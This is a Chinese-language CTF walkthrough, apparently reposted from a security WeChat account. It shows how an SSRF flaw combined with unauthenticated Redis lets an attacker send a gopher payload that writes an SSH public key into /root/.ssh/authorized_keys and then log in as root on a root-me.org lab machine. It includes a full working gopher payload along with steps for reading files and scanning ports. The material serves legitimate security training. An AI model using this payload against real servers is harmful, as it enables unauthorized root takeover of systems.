SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

admin 2022年2月28日16:15:09评论631 views字数 2255阅读7分31秒阅读模式

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


0x00 Preface [前言/简介]

所谓“逆水行舟,不进则退”,渗透并不像师傅们侃侃而谈的“有手就行”,差点就信了师傅们的鬼话,还好及时醒悟,不练那是不行滴,所以就有了接下来的故事。

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

目录结构

0x01 漏洞简介

0x02 原理概述

0x03 漏洞实战演示

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

0x01 漏洞简介

系统存在SSRF和Redis未授权访问漏洞,可利用SSRF对Redis的未授权访问执行命令,进而获取主机权限。

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

0x02 原理概述

1、SSRF概述:SSRF(Server-Side Request Forgery)服务器端请求伪造,指攻击者在未能获得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条精心构造的请求给服务器所在内网。SSRF攻击通常针对外网无法直接访问的内部系统。


2、Redis未授权访问概述:Redis默认情况下,会绑定在0.0.0.0:6379上,如果没有开启相关认证和添加相关安全策略,这样会将Redis服务暴露到公网上;如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取Redis的数据。攻击者在未授权访问 Redis 的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥通过ssh服务登录目标服务器。


3、gopher协议概述:gopher协议支持发出GET、POST请求,可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议。

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

0x03  漏洞实战演示

1.漏洞地址:https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day

2.利用过程:

(1)访问漏洞地址,首次使用需要注册一个账号

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(2)填写注册信息(可使用临时邮箱申请一个邮箱号,临时邮箱申请地址:http://24mail.chacuo.net/),填好提交即可

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(3)登陆后选择一个处于none的虚拟机进入房间(此演示选择的ctf10),然后创建SSRF虚拟机环境

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(4)保存后点击开始游戏即可

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

(5)访问ctf10.root-me.org,成功打开启动的虚拟机环境

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(6)在页面输入框中输入搜狗的URL,页面会将搜狗的首页加载进去

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(7)开启burpsuite抓取这个数据包

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(8)使用file协议尝试读取系统文件

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(9)使用intruder模块探测目标开放的端口,发现开放6379端口的redis服务

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(10)接下来利用redis将ssh公钥写入目标服务器,首先使用ssh-keygen生成一对公私钥(分别为id_rsa.pub和id_rsa),密码设置为空

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(11)使用gopher协议将ssh公钥写入目标服务器

payload如下,包含生成的ssh公钥:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEk3QcSQWDzprYHpB0t+7/i8PCsow9F6DkJjVEgNkOvLKNLZ/BN1kt0HqWDLXbUwFScfav6mK4OfeCWZ7RBHUt2BpRA0p1nMPITx/SJ8/YeISGaa91/gwKFTPT1gaosOB4MMFVD8j7VmHskknSKsIiZmWmNHI16zGn7+6sHdJruA3cE7pPUWerkULWUw3jmVCwhdaO5RULUfI955hnio9IKwYieCenIiC8ZnnKJzXb7eB4zp34Jp3xZwbTAvpCx1/2I4LrNOqBnbm2Awdef9Yf484Q5K8Uj11kqKZYZhPKZq6913Hzx1y/krIe3qcBNxHM9W187W3xzRocdx/updNv huangniu@DESKTOP-758692A%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a


在输入框中执行payload,至此ssh公钥写入成功

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(12)通过信息收集查找漏洞URL对应的ip地址

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限


(13)使用对应的私钥通过ssh服务免密登录目标服务器,成功拿下root权限

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

0x04 summary总结

渗透是一个循序渐进探索未知的过程,在这过程中“不积跬步无以至千里,不积小流无以成江海”,坚持学习和交流,和师傅们一起成长。

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

0x05 其他

感谢大哥们的对NOVASEC的支持点赞和关注,加入我们与萌新一起成长吧。

如有任何问题、建议、投稿请加NOVASEC-MOYU,以方便及时回复。

SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

本文始发于微信公众号(NOVASEC):SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月28日16:15:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSRF+Redis未授权之利用gopher协议写入SSH公钥获取服务器root权限https://cn-sec.com/archives/494929.html

发表评论

匿名网友 填写信息